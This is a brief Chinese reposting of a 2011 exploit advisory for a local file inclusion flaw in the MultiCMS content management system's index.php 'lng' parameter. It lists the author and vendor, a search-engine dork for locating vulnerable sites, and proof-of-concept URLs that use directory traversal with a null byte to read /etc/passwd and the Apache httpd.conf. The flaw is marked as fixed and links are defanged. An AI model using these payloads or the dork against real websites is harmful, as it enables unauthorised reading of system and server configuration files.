MultiCMS是一款灵活的内容管理系统，可以帮你建立专业的网站。MultiCMS的index.php文件存在本地文件包含漏洞，可能导致敏感信息泄露。

[+]info:
~~~~~~~~~
# Date: 29/01/2011
# Author: R3VAN_BASTARD
# Exploit Title: MultiCMS File Inclusion Vulnerbility
# Vendor: hxxp://www.multicms.net
# Status: FIXED
# Tested on: Windows 7
# Dork: "Redakcní systém MultiCMS"
# Mail: defrontliner@whiteponny.com

[+]poc:
~~~~~~~~~
# File: /Index.php?lng=[LFI]
# XPL: hxxp://Localhost.com/[path]/index.php?lng=../../../../../../../../../../../../../../../etc/passwd%00
           hxxp://Localhost.com/[path]/index.php?lng=../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf%00

[+]Reference:
~~~~~~~~~
hxxp://packetstormsecurity.org/files/view/97987/multicms-lfi.txt

(注：出于安全原因，文中所有“http”均被替换为“hxxp”。)

关健词：MultiCMS，漏洞